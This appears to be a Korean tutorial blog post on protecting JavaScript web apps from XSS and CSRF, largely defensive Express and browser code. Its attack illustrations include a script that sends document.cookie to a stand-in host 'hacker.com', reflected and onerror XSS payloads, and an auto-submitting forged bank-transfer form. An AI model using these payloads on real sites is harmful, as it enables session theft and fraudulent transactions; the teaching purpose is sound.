Ver3.0 ๐ก๏ธ JavaScript ๋ณด์์ ๋ชจ๋ ๊ฒ: XSS์ CSRF ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์น์ ์งํค๋ ์๋ฒฝ ๊ฐ์ด๋

๐ก๏ธ JavaScript ๋ณด์์ ๋ชจ๋ ๊ฒ: XSS์ CSRF ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์น์ ์งํค๋ ์๋ฒฝ ๊ฐ์ด๋
๐ฏ ์ JavaScript ๋ณด์์ด ์ด๋ ๊ฒ ์ค์ํ ๊น?
์ผ, ์์งํ ๋งํด์ ์์ฆ ์น ๊ฐ๋ฐํ๋ฉด์ JavaScript ์ ์ฐ๋ ๊ณณ์ด ์ด๋ ์์ด? ๐
React, Vue, Angular๋ถํฐ ์์ํด์ Node.js๊น์ง... JavaScript๋ ์ด์ ํ๋ก ํธ์๋์ ๋ฐฑ์๋๋ฅผ ๋ชจ๋ ์ฅ์
ํ์์.
๊ทธ๋ฐ๋ฐ ๋ง์ด์ผ, ์ด๋ ๊ฒ ๊ฐ๋ ฅํ ๋๊ตฌ๊ฐ ๋๋ค ๋ณด๋ ํด์ปค๋ค๋ JavaScript๋ฅผ ๋
ธ๋ฆฌ๋ ๊ฑฐ์ผ.
2023๋
๋ณด์ ๋ฆฌํฌํธ์ ๋ฐ๋ฅด๋ฉด ์น ์ ํ๋ฆฌ์ผ์ด์
๊ณต๊ฒฉ์ ์ฝ 43%๊ฐ XSS ๊ณต๊ฒฉ์ด๊ณ , 23%๊ฐ CSRF ๊ณต๊ฒฉ์ด๋ผ๊ณ ํด.
์ด๊ฒ ๋ฌด์จ ๋ป์ด๋๋ฉด, ๋๊ฐ ๋ง๋ ๋ฉ์ง ์น์ฌ์ดํธ๊ฐ ์ธ์ ๋ ๊ณต๊ฒฉ๋นํ ์ ์๋ค๋ ๊ฑฐ์ง! ๐จ
ํนํ ์์ฆ์ ์ฌ๋ฅ๋ท ๊ฐ์ ํ๋ซํผ์์๋ ๊ฐ๋ฐ์๋ค์ด ์์ ์ ํ๋ก์ ํธ๋ฅผ ๊ณต์ ํ๊ณ ํ์
ํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์๋ฐ,
๋ณด์ ์ทจ์ฝ์ ํ๋ ๋๋ฌธ์ ์ฌ์ฉ์ ์ ๋ณด๊ฐ ์ ์ถ๋๋ฉด ์ ๋ง ํฐ์ผ ๋๋ ๊ฑฐ ์์ง?
๊ทธ๋์ ์ค๋์ ์น๊ตฌ์ฒ๋ผ ํธํ๊ฒ, ํ์ง๋ง ์ ๋๋ก JavaScript ๋ณด์์ ๋ํด ํํค์ณ๋ณผ ๊ฑฐ์ผ! ๐ช
๐ XSS(Cross-Site Scripting) ๊ณต๊ฒฉ: ์ ๋ง์ ์คํฌ๋ฆฝํธ ์ฃผ์
๐ XSS๊ฐ ๋ญ๋ฐ ์ด๋ ๊ฒ ๋ฌด์ญ๋ค๋ ๊ฑฐ์ผ?
XSS๋ ๋ง ๊ทธ๋๋ก ์
์์ ์ธ ์คํฌ๋ฆฝํธ๋ฅผ ์นํ์ด์ง์ ์ฃผ์
ํ๋ ๊ณต๊ฒฉ์ด์ผ.
์ฝ๊ฒ ๋งํ๋ฉด, ํด์ปค๊ฐ ๋์ ์น์ฌ์ดํธ์ ์๊ธฐ๊ฐ ๋ง๋ JavaScript ์ฝ๋๋ฅผ ๋ชฐ๋ ์ฌ์ด๋๋ ๊ฑฐ์ง.
์๋ฅผ ๋ค์ด๋ณผ๊ฒ. ๋๊ฐ ๊ฒ์ํ์ ๋ง๋ค์๋ค๊ณ ์น์.
์ฌ์ฉ์๊ฐ ๋๊ธ์ ๋ฌ ์ ์๋๋ฐ, ์
๋ ฅ๊ฐ ๊ฒ์ฆ์ ์ ํ์ด.
๊ทธ๋ผ ํด์ปค๊ฐ ์ด๋ฐ ๊ฑธ ์
๋ ฅํ ์ ์์ด:
<script>
// ์ฌ์ฉ์์ ์ฟ ํค๋ฅผ ํ์ณ๊ฐ๋ ์
์ฑ ์ฝ๋
document.location='http://hacker.com/steal?cookie='+document.cookie;
</script>
์ด ์ฝ๋๊ฐ ๊ทธ๋๋ก ํ์ด์ง์ ๋ ๋๋ง๋๋ฉด? ๐
๋ค๋ฅธ ์ฌ์ฉ์๊ฐ ๊ทธ ๊ฒ์๊ธ์ ๋ณผ ๋๋ง๋ค ์๋์ผ๋ก ์คํ๋ผ์ ์ฟ ํค ์ ๋ณด๊ฐ ํด์ปคํํ
์ ์ก๋๋ ๊ฑฐ์ผ!
์ธ์
ํ์ด์ฌํน, ๊ฐ์ธ์ ๋ณด ํ์ทจ, ํผ์ฑ ์ฌ์ดํธ๋ก ๋ฆฌ๋ค์ด๋ ํธ... ์จ๊ฐ ๋์ ์ง์ ๋ค ํ ์ ์์ง.
ํด์ปค๋ค์ด ๊ฒฐ์ ํ์ด์ง์ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ด์ ์นด๋ ์ ๋ณด๋ฅผ ์ค์๊ฐ์ผ๋ก ๋นผ๋๋ฆฐ ๊ฑฐ์ง.
ํผํด์ก๋ง ์๋ฐฑ์ต ์... ๐ฑ
๐ XSS ๊ณต๊ฒฉ์ 3๊ฐ์ง ์ ํ
๊ฒ์ํ, ๋๊ธ, ํ๋กํ ์ ๋ณด ๊ฐ์ ๊ณณ์ ์ ์ฑ ์ฝ๋๋ฅผ ์ ๋ ฅํ๋ฉด,
๊ทธ ํ์ด์ง๋ฅผ ๋ณด๋ ๋ชจ๋ ์ฌ์ฉ์๊ฐ ๊ณต๊ฒฉ๋นํ๋ ๊ฑฐ์ง.
๊ณต๊ฒฉ ์๋๋ฆฌ์ค:
โ ํด์ปค๊ฐ ๊ฒ์ํ์ ์ ์ฑ ์คํฌ๋ฆฝํธ ํฌํจ๋ ๊ธ ์์ฑ
โก ์๋ฒ๊ฐ ๊ฒ์ฆ ์์ด DB์ ์ ์ฅ
โข ๋ค๋ฅธ ์ฌ์ฉ์๋ค์ด ๊ฒ์๊ธ ์กฐํ
โฃ ๋ธ๋ผ์ฐ์ ๊ฐ ์คํฌ๋ฆฝํธ ์คํ โ ์ฟ ํค ํ์ทจ!
์๋ฒ์ ์ ์ฅ๋์ง๋ ์์ง๋ง, ํผ์ฑ ๋งํฌ๋ก ์ ๋ํด์ ๊ณต๊ฒฉํ ์ ์์ด.
๊ณต๊ฒฉ ์์:
https://example.com/search?q=<script>alert(document.cookie)</script>
์ด๋ฐ ๋งํฌ๋ฅผ ์ด๋ฉ์ผ์ด๋ SNS๋ก ๋ณด๋ด์ ํด๋ฆญํ๊ฒ ๋ง๋๋ ๊ฑฐ์ผ.
์ฌ์ฉ์๊ฐ ํด๋ฆญํ๋ฉด ๊ทธ ์๊ฐ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋์ง!
์์ฆ SPA(Single Page Application) ๋ง์ด ์ฐ์์? ๊ทธ๋์ ๋ ์ฃผ์ํด์ผ ํด!
์ทจ์ฝํ ์ฝ๋ ์์:
// ์ํํ ์ฝ๋! ์ ๋ ์ด๋ ๊ฒ ์ฐ์ง ๋ง!
const userInput = location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;
// URL: https://example.com/#<img src=x onerror=alert('XSS')>
๐ก๏ธ XSS ๊ณต๊ฒฉ ๋ฐฉ์ด ๊ธฐ๋ฒ: ์ค์ ์ฝ๋๋ก ๋ฐฐ์ฐ๊ธฐ
1๏ธโฃ ์ ๋ ฅ๊ฐ ๊ฒ์ฆ ๋ฐ ์๋ํ์ด์ ์ด์ (Sanitization)
์ฒซ ๋ฒ์งธ ๋ฐฉ์ด์ ์ ์ฌ์ฉ์ ์
๋ ฅ์ ์ ๋ ๋ฏฟ์ง ์๋ ๊ฒ์ด์ผ! ๐
โโ๏ธ
๋ชจ๋ ์
๋ ฅ๊ฐ์ ๊ฒ์ฆํ๊ณ ์ํํ ๋ฌธ์๋ฅผ ์ ๊ฑฐํ๊ฑฐ๋ ์ด์ค์ผ์ดํ ์ฒ๋ฆฌํด์ผ ํด.
// HTML ํน์๋ฌธ์ ์ด์ค์ผ์ดํ ํจ์
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// ์ฌ์ฉ ์์
const userInput = '<script>alert("XSS")</script>';
const safeOutput = escapeHtml(userInput);
document.getElementById('output').textContent = safeOutput;
// ๊ฒฐ๊ณผ: <script>alert("XSS")</script> (๋ฌธ์์ด๋ก ํ์๋จ)
์ด๋ ๊ฒ ํ๋ฉด <๋ > ๊ฐ์ HTML ํ๊ทธ ๋ฌธ์๊ฐ ์ค์ ํ๊ทธ๋ก ํด์๋์ง ์๊ณ ๊ทธ๋ฅ ํ ์คํธ๋ก ๋ณด์ด๊ฒ ๋ผ!
2๏ธโฃ innerHTML ๋์ textContent ์ฌ์ฉํ๊ธฐ
์ด๊ฑฐ ์ง์ง ์ค์ํด! innerHTML์ HTML์ ํ์ฑํด์ ์คํํ์ง๋ง,
textContent๋ ์์ ํ
์คํธ๋ก๋ง ์ฒ๋ฆฌํด์ ํจ์ฌ ์์ ํด. ๐
// ๐ซ ๋์ ์์ - XSS ์ทจ์ฝ์ !
const userComment = getUserInput();
document.getElementById('comment').innerHTML = userComment;
// ํด์ปค๊ฐ ์ด๋ฐ ๊ฑธ ์
๋ ฅํ๋ฉด?
// <img src=x onerror="alert('ํดํน๋นํ์ด์!')">
// โ
์ข์ ์์ - ์์ !
const userComment = getUserInput();
document.getElementById('comment').textContent = userComment;
// ๋๋ ๋ ์์ ํ๊ฒ
const commentElement = document.createElement('div');
commentElement.textContent = userComment;
document.getElementById('comments').appendChild(commentElement);
3๏ธโฃ DOMPurify ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ฉ
๋ง์ฝ ์ฌ์ฉ์๊ฐ ์
๋ ฅํ HTML์ ๊ผญ ๋ ๋๋งํด์ผ ํ๋ค๋ฉด? (์: ์์ง์
์๋ํฐ)
๊ทธ๋ด ๋ DOMPurify ๊ฐ์ ๊ฒ์ฆ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์จ์ผ ํด! ๐
// DOMPurify ์ค์น: npm install dompurify
import DOMPurify from 'dompurify';
// ์ฌ์ฉ์ ์
๋ ฅ (HTML ํฌํจ)
const dirtyHTML = '<p>์์ ํ ๋ด์ฉ</p><script>alert("XSS")</script>';
// DOMPurify๋ก ์ ํ
const cleanHTML = DOMPurify.sanitize(dirtyHTML);
// ๊ฒฐ๊ณผ: <p>์์ ํ ๋ด์ฉ</p> (script ํ๊ทธ๋ ์ ๊ฑฐ๋จ!)
document.getElementById('content').innerHTML = cleanHTML;
DOMPurify๋ ํ์ดํธ๋ฆฌ์คํธ ๋ฐฉ์์ผ๋ก ์์ ํ ํ๊ทธ๋ง ํ์ฉํ๊ณ ๋๋จธ์ง๋ ๋ค ์ ๊ฑฐํด์ค.
React๋ Vue ๊ฐ์ ํ๋ ์์ํฌ์์๋ ์๋ฒฝํ๊ฒ ์๋ํ๋๊น ๊ผญ ์จ๋ด! ๐
4๏ธโฃ Content Security Policy (CSP) ์ค์
CSP๋ ๋ธ๋ผ์ฐ์ ์๊ฒ ์ด๋ค ๋ฆฌ์์ค๋ฅผ ์คํํ ์ ์๋์ง ์๋ ค์ฃผ๋ ๋ณด์ ์ ์ฑ
์ด์ผ.
HTTP ํค๋๋ก ์ค์ ํ๋ฉด ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ์คํ์ ๋ง์ ์ ์์ด!
// Express.js์์ CSP ์ค์
const helmet = require('helmet');
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"], // ๊ฐ๋ฅํ๋ฉด unsafe-inline ์ ๊ฑฐ!
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"],
},
})
);
// ๋๋ HTML meta ํ๊ทธ๋ก ์ค์
// <meta http-equiv="Content-Security-Policy"
// content="default-src 'self'; script-src 'self'">
์ด๋ ๊ฒ ์ค์ ํ๋ฉด ์ธ๋ถ ๋๋ฉ์ธ์์ ๋ก๋๋ ์คํฌ๋ฆฝํธ๋ ์คํ์ด ์ฐจ๋จ๋ผ!
XSS ๊ณต๊ฒฉ์ด ์ฑ๊ณตํ๋๋ผ๋ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋์ง ์๋ ๊ฑฐ์ง. ๐ฏ
5๏ธโฃ HttpOnly ๋ฐ Secure ์ฟ ํค ํ๋๊ทธ ์ฌ์ฉ
์ฟ ํค ํ์ทจ๋ฅผ ๋ง์ผ๋ ค๋ฉด ์ฟ ํค ์ค์ ๋ ์ค์ํด!
// Node.js Express์์ ์์ ํ ์ฟ ํค ์ค์
res.cookie('sessionId', sessionToken, {
httpOnly: true, // JavaScript๋ก ์ ๊ทผ ๋ถ๊ฐ
secure: true, // HTTPS์์๋ง ์ ์ก
sameSite: 'strict', // CSRF ๋ฐฉ์ด
maxAge: 3600000 // 1์๊ฐ
});
// ์ด๋ ๊ฒ ์ค์ ํ๋ฉด document.cookie๋ก ์ ๊ทผ ๋ถ๊ฐ!
// XSS ๊ณต๊ฒฉ์ผ๋ก๋ ์ฟ ํค๋ฅผ ํ์น ์ ์์ด
ํด๋ผ์ด์ธํธํํ "๋ณด์ ๊ฐํ ์์ ์๋ฃํ์ต๋๋ค"๋ผ๊ณ ๋งํ ์ ์๋ ๊ทผ๊ฑฐ๊ฐ ๋๊ฑฐ๋ .
ํฌํธํด๋ฆฌ์ค์๋ "XSS/CSRF ๋ฐฉ์ด ๊ตฌํ" ์ด๋ ๊ฒ ์ ์ผ๋ฉด ์ ๋ฌธ์ฑ์ด ํ ์ฌ๋ผ๊ฐ! ๐
โ๏ธ CSRF(Cross-Site Request Forgery) ๊ณต๊ฒฉ: ์์กฐ๋ ์์ฒญ์ ํจ์
๐ CSRF๊ฐ ๋ญ๊ธธ๋ ์ด๋ ๊ฒ ์ํํด?
CSRF๋ ์ฌ์ฉ์๊ฐ ์๋ํ์ง ์์ ์์ฒญ์ ๊ฐ์ ๋ก ์คํ์ํค๋ ๊ณต๊ฒฉ์ด์ผ.
์ฝ๊ฒ ๋งํ๋ฉด, ๋๊ฐ ๋ก๊ทธ์ธํ ์ํ์์ ํด์ปค๊ฐ ๋ง๋ ํจ์ ์ ๊ฑธ๋ ค์
์๊ธฐ๋ ๋ชจ๋ฅด๊ฒ ๋์ ์ก๊ธํ๊ฑฐ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฐ๊พธ๋ ๊ฑฐ์ง! ๐ฑ
XSS๋ ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฃผ์
ํ๋ ๊ฑฐ๋ผ๋ฉด,
CSRF๋ ์ ์์ ์ธ ์ฌ์ฉ์์ ๊ถํ์ ๋์ฉํด์ ๋์ ์ง์ ํ๋ ๊ฑฐ์ผ.
๐ญ CSRF ๊ณต๊ฒฉ ์๋๋ฆฌ์ค
โ ์ธ์ ์ฟ ํค๊ฐ ๋ธ๋ผ์ฐ์ ์ ์ ์ฅ๋จ
2๋จ๊ณ: ํด์ปค๊ฐ ๋ง๋ ํผ์ฑ ์ฌ์ดํธ ๋ฐฉ๋ฌธ
โ ์ด๋ฉ์ผ์ด๋ SNS ๋งํฌ๋ฅผ ํตํด ์ ๋
3๋จ๊ณ: ํผ์ฑ ์ฌ์ดํธ์ ์จ๊ฒจ์ง ์ ์ฑ ํผ
<!-- ํด์ปค๊ฐ ๋ง๋ ์
์ฑ HTML -->
<form action="https://bank.com/transfer" method="POST" id="evilForm">
<input type="hidden" name="to" value="ํด์ปค๊ณ์ข๋ฒํธ">
<input type="hidden" name="amount" value="1000000">
</form>
<script>
// ํ์ด์ง ๋ก๋๋์๋ง์ ์๋ ์ ์ถ!
document.getElementById('evilForm').submit();
</script>
4๋จ๊ณ: ์๋์ผ๋ก ์ก๊ธ ์์ฒญ ์ ์ก
โ ๋ธ๋ผ์ฐ์ ๊ฐ ์๋์ผ๋ก ์ธ์
์ฟ ํค๋ฅผ ํฌํจํด์ ์์ฒญ์ ๋ณด๋
โ ์ํ ์๋ฒ๋ ์ ์์ ์ธ ์์ฒญ์ผ๋ก ์ธ์ํ๊ณ ์ก๊ธ ์ฒ๋ฆฌ! ๐ธ
์ด๊ฒ ๋ฐ๋ก CSRF์ ๋ฌด์์ด ์ ์ด์ผ.
์ฌ์ฉ์๋ ์๋ฌด๊ฒ๋ ์ ํ๋๋ฐ ๋์ด ๋น ์ ธ๋๊ฐ๋ ๊ฑฐ์ง!
๐ก๏ธ CSRF ๊ณต๊ฒฉ ๋ฐฉ์ด ๊ธฐ๋ฒ
1๏ธโฃ CSRF ํ ํฐ ์ฌ์ฉ (๊ฐ์ฅ ํจ๊ณผ์ !)
CSRF ํ ํฐ์ ๊ฐ ์์ฒญ๋ง๋ค ๊ณ ์ ํ ๋๋ค ๊ฐ์ ์์ฑํด์
์๋ฒ๊ฐ ์ ๋นํ ์์ฒญ์ธ์ง ๊ฒ์ฆํ๋ ๋ฐฉ๋ฒ์ด์ผ. ๐ซ
// 1. CSRF ํ ํฐ ๋ฏธ๋ค์จ์ด ์ค์น
// npm install csurf
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
// 2. ํผ ๋ ๋๋ง ์ ํ ํฐ ์์ฑ
app.get('/transfer', csrfProtection, (req, res) => {
res.render('transfer', {
csrfToken: req.csrfToken()
});
});
// 3. HTML ํผ์ ํ ํฐ ํฌํจ
// <form action="/transfer" method="POST">
// <input type="hidden" name="_csrf" value="{{csrfToken}}">
// <input type="text" name="to" placeholder="๋ฐ๋ ์ฌ๋">
// <input type="number" name="amount" placeholder="๊ธ์ก">
// <button type="submit">์ก๊ธํ๊ธฐ</button>
// </form>
// 4. POST ์์ฒญ ์ฒ๋ฆฌ ์ ํ ํฐ ๊ฒ์ฆ
app.post('/transfer', csrfProtection, (req, res) => {
// ํ ํฐ์ด ์ ํจํ๋ฉด ์ด ์ฝ๋๊ฐ ์คํ๋จ
// ํ ํฐ์ด ์๊ฑฐ๋ ์๋ชป๋๋ฉด ์๋์ผ๋ก 403 ์๋ฌ ๋ฐ์!
const { to, amount } = req.body;
// ์ก๊ธ ์ฒ๋ฆฌ...
res.send('์ก๊ธ ์๋ฃ!');
});
์ด๋ ๊ฒ ํ๋ฉด ํด์ปค๊ฐ ๋ง๋ ํผ์ฑ ์ฌ์ดํธ์์๋ ์ ํจํ CSRF ํ ํฐ์ ์ ์ ์์ผ๋๊น
์์ฒญ์ด ์ฐจ๋จ๋๋ ๊ฑฐ์ผ! ์๋ฒฝํ ๋ฐฉ์ด๋ฒ์ด์ง? ๐
2๏ธโฃ SameSite ์ฟ ํค ์์ฑ ์ค์
SameSite ์์ฑ์ ์ฟ ํค๊ฐ ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ์ ํฌํจ๋์ง ์๋๋ก ๋ง์์ค.
// SameSite ์ฟ ํค ์ค์
res.cookie('sessionId', sessionToken, {
httpOnly: true,
secure: true,
sameSite: 'strict', // ๋๋ 'lax'
maxAge: 3600000
});
// sameSite ์ต์
์ค๋ช
:
// - 'strict': ์์ ํ ์ฐจ๋จ (๊ฐ์ฅ ์์ ํ์ง๋ง ๋ถํธํ ์ ์์)
// - 'lax': GET ์์ฒญ๋ง ํ์ฉ (์ผ๋ฐ์ ์ผ๋ก ๊ถ์ฅ)
// - 'none': ๋ชจ๋ ์์ฒญ ํ์ฉ (๋ณด์ ์ทจ์ฝ, ๋น์ถ์ฒ)
โ ์ธ๋ถ ์ฌ์ดํธ์์ ์ค๋ ๋ชจ๋ ์์ฒญ์ ์ฟ ํค๊ฐ ํฌํจ๋์ง ์์
โ CSRF ๊ณต๊ฒฉ ์๋ฒฝ ์ฐจ๋จ!
sameSite: 'lax' ์ค์ ์:
โ ๋งํฌ ํด๋ฆญ, GET ํผ ์ ์ถ ๋ฑ ์์ ํ ์์ฒญ๋ง ์ฟ ํค ํฌํจ
โ POST, PUT, DELETE ๊ฐ์ ์ํ ๋ณ๊ฒฝ ์์ฒญ์ ์ฐจ๋จ
โ ์ฌ์ฉ์ ๊ฒฝํ๊ณผ ๋ณด์์ ๊ท ํ!
3๏ธโฃ Referer ํค๋ ๊ฒ์ฆ
์์ฒญ์ด ์ด๋์ ์๋์ง ํ์ธํ๋ ๋ฐฉ๋ฒ์ด์ผ.
ํ์ง๋ง ์ด ๋ฐฉ๋ฒ์ ๋ณด์กฐ ์๋จ์ผ๋ก๋ง ์จ์ผ ํด! (Referer๋ ์กฐ์ ๊ฐ๋ฅํ๊ฑฐ๋ )
// Referer ํค๋ ๊ฒ์ฆ ๋ฏธ๋ค์จ์ด
function checkReferer(req, res, next) {
const referer = req.get('Referer');
const allowedDomains = ['https://mysite.com', 'https://www.mysite.com'];
if (!referer) {
return res.status(403).send('Referer ํค๋๊ฐ ์์ต๋๋ค.');
}
const isAllowed = allowedDomains.some(domain =>
referer.startsWith(domain)
);
if (!isAllowed) {
return res.status(403).send('ํ์ฉ๋์ง ์์ ๋๋ฉ์ธ์
๋๋ค.');
}
next();
}
// ์ฌ์ฉ
app.post('/transfer', checkReferer, (req, res) => {
// ์ก๊ธ ์ฒ๋ฆฌ...
});
4๏ธโฃ Double Submit Cookie ํจํด
CSRF ํ ํฐ์ ์ฟ ํค์ ์์ฒญ ํ๋ผ๋ฏธํฐ ์์ชฝ์ ๋ฃ์ด์ ๋น๊ตํ๋ ๋ฐฉ๋ฒ์ด์ผ.
์๋ฒ์ ํ ํฐ์ ์ ์ฅํ์ง ์์๋ ๋ผ์ stateless ํ๊ฒฝ์ ์ข์!
// Double Submit Cookie ๊ตฌํ
const crypto = require('crypto');
// 1. ํ ํฐ ์์ฑ ๋ฐ ์ฟ ํค ์ค์
app.get('/form', (req, res) => {
const csrfToken = crypto.randomBytes(32).toString('hex');
res.cookie('csrf-token', csrfToken, {
httpOnly: false, // JavaScript์์ ์ฝ์ ์ ์์ด์ผ ํจ
secure: true,
sameSite: 'strict'
});
res.render('form', { csrfToken });
});
// 2. ํด๋ผ์ด์ธํธ์์ ์์ฒญ ์ ํ ํฐ ํฌํจ
// fetch('/api/transfer', {
// method: 'POST',
// headers: {
// 'X-CSRF-Token': getCookie('csrf-token'),
// 'Content-Type': 'application/json'
// },
// body: JSON.stringify({ to: '๊ณ์ข๋ฒํธ', amount: 10000 })
// });
// 3. ์๋ฒ์์ ๊ฒ์ฆ
function validateDoubleSubmitCookie(req, res, next) {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.get('X-CSRF-Token');
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).send('CSRF ํ ํฐ ๋ถ์ผ์น!');
}
next();
}
app.post('/api/transfer', validateDoubleSubmitCookie, (req, res) => {
// ์ก๊ธ ์ฒ๋ฆฌ...
});
5๏ธโฃ ์ปค์คํ ํค๋ ์ฌ์ฉ (AJAX ์์ฒญ)
AJAX ์์ฒญ์๋ ์ปค์คํ
ํค๋๋ฅผ ์ถ๊ฐํ๋ ๋ฐฉ๋ฒ๋ ํจ๊ณผ์ ์ด์ผ!
๋ธ๋ผ์ฐ์ ์ Same-Origin Policy ๋๋ฌธ์ ์ธ๋ถ ์ฌ์ดํธ์์๋ ์ปค์คํ
ํค๋๋ฅผ ์ถ๊ฐํ ์ ์๊ฑฐ๋ .
// ํด๋ผ์ด์ธํธ (React ์์)
const transferMoney = async (to, amount) => {
try {
const response = await fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest', // ์ปค์คํ
ํค๋
'X-Custom-Header': 'MySecretValue'
},
credentials: 'include', // ์ฟ ํค ํฌํจ
body: JSON.stringify({ to, amount })
});
if (response.ok) {
alert('์ก๊ธ ์๋ฃ!');
}
} catch (error) {
console.error('์ก๊ธ ์คํจ:', error);
}
};
// ์๋ฒ (Express.js)
app.post('/api/transfer', (req, res) => {
// ์ปค์คํ
ํค๋ ๊ฒ์ฆ
const customHeader = req.get('X-Requested-With');
if (customHeader !== 'XMLHttpRequest') {
return res.status(403).send('์ ํจํ์ง ์์ ์์ฒญ์
๋๋ค.');
}
// ์ก๊ธ ์ฒ๋ฆฌ...
res.json({ success: true });
});
๐ ์ถ๊ฐ ๋ณด์ Best Practices
1๏ธโฃ HTTPS ์ฌ์ฉ ํ์!
์ด๊ฑด ์ง์ง ๊ธฐ๋ณธ ์ค์ ๊ธฐ๋ณธ์ด์ผ! ๐
HTTP๋ ํ๋ฌธ์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๊ธฐ ๋๋ฌธ์ ์ค๊ฐ์์ ๊ฐ๋ก์ฑ๊ธฐ ์ฌ์.
HTTPS๋ฅผ ์ฐ๋ฉด ๋ฐ์ดํฐ๊ฐ ์ํธํ๋์ด์ ์์ ํ๊ฒ ์ ์ก๋ผ.
์ค๊ฐ์ ๊ณต๊ฒฉ(MITM)์ ๋ง์ ์ ์์ด.
Let's Encrypt ๊ฐ์ ๋ฌด๋ฃ ์ธ์ฆ์๋ ์์ผ๋ ๊ผญ ์ ์ฉํ์! ๐ช
2๏ธโฃ ์ ๋ ฅ๊ฐ ๊ธธ์ด ์ ํ
๋๋ฌด ๊ธด ์ ๋ ฅ๊ฐ์ ๊ทธ ์์ฒด๋ก ๊ณต๊ฒฉ ๋ฒกํฐ๊ฐ ๋ ์ ์์ด.
// ํ๋ก ํธ์๋ ๊ฒ์ฆ
function validateInput(input, maxLength = 200) {
if (input.length > maxLength) {
throw new Error(`์
๋ ฅ๊ฐ์ ${maxLength}์๋ฅผ ์ด๊ณผํ ์ ์์ต๋๋ค.`);
}
// ์ํํ ํจํด ๊ฒ์ฌ
const dangerousPatterns = [
/<script/i,
/javascript:/i,
/on\w+=/i, // onclick, onerror ๋ฑ
/<iframe/i
];
for (const pattern of dangerousPatterns) {
if (pattern.test(input)) {
throw new Error('ํ์ฉ๋์ง ์๋ ๋ฌธ์๊ฐ ํฌํจ๋์ด ์์ต๋๋ค.');
}
}
return true;
}
// ๋ฐฑ์๋์์๋ ๋ฐ๋์ ์ฌ๊ฒ์ฆ!
app.post('/comment', (req, res) => {
const { comment } = req.body;
if (!comment || comment.length > 500) {
return res.status(400).send('์ ํจํ์ง ์์ ๋๊ธ์
๋๋ค.');
}
// ์ถ๊ฐ ๊ฒ์ฆ ๋ฐ ์ ์ฅ...
});
3๏ธโฃ Rate Limiting (์๋ ์ ํ)
๊ฐ์ IP์์ ๋๋ฌด ๋ง์ ์์ฒญ์ด ์ค๋ฉด ์ฐจ๋จํ๋ ๊ฑฐ์ผ.
๋ธ๋ฃจํธ ํฌ์ค ๊ณต๊ฒฉ์ด๋ ์๋ํ๋ ๊ณต๊ฒฉ์ ๋ง์ ์ ์์ด! ๐ฆ
// express-rate-limit ์ฌ์ฉ
const rateLimit = require('express-rate-limit');
// API ์์ฒญ ์ ํ
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15๋ถ
max: 100, // ์ต๋ 100๋ฒ ์์ฒญ
message: '๋๋ฌด ๋ง์ ์์ฒญ์ ๋ณด๋์ต๋๋ค. ์ ์ ํ ๋ค์ ์๋ํด์ฃผ์ธ์.',
standardHeaders: true,
legacyHeaders: false,
});
// ๋ก๊ทธ์ธ ์์ฒญ ์ ํ (๋ ์๊ฒฉํ๊ฒ)
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5, // 15๋ถ์ 5๋ฒ๋ง ํ์ฉ
skipSuccessfulRequests: true, // ์ฑ๊ณตํ ์์ฒญ์ ์นด์ดํธ ์ ํจ
});
app.use('/api/', apiLimiter);
app.post('/login', loginLimiter, (req, res) => {
// ๋ก๊ทธ์ธ ์ฒ๋ฆฌ...
});
4๏ธโฃ ๋ณด์ ํค๋ ์ค์
Helmet.js๋ฅผ ์ฐ๋ฉด ์ฌ๋ฌ ๋ณด์ ํค๋๋ฅผ ํ ๋ฒ์ ์ค์ ํ ์ ์์ด!
const helmet = require('helmet');
app.use(helmet({
// Content Security Policy
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "trusted-cdn.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
},
},
// X-Frame-Options (ํด๋ฆญ์ฌํน ๋ฐฉ์ง)
frameguard: { action: 'deny' },
// X-Content-Type-Options
noSniff: true,
// Strict-Transport-Security (HTTPS ๊ฐ์ )
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
// X-XSS-Protection
xssFilter: true,
}));
X-Content-Type-Options: MIME ํ์ ์ค๋ํ ๋ฐฉ์ง
Strict-Transport-Security: HTTPS๋ง ์ฌ์ฉํ๋๋ก ๊ฐ์
X-XSS-Protection: ๋ธ๋ผ์ฐ์ ์ XSS ํํฐ ํ์ฑํ
Referrer-Policy: Referer ์ ๋ณด ๋ ธ์ถ ์ ์ด
5๏ธโฃ ์ ๊ธฐ์ ์ธ ์์กด์ฑ ์ ๋ฐ์ดํธ
npm ํจํค์ง์๋ ๋ณด์ ์ทจ์ฝ์ ์ด ์์ ์ ์์ด!
์ ๊ธฐ์ ์ผ๋ก ์
๋ฐ์ดํธํ๊ณ ์ทจ์ฝ์ ์ ์ฒดํฌํด์ผ ํด. ๐
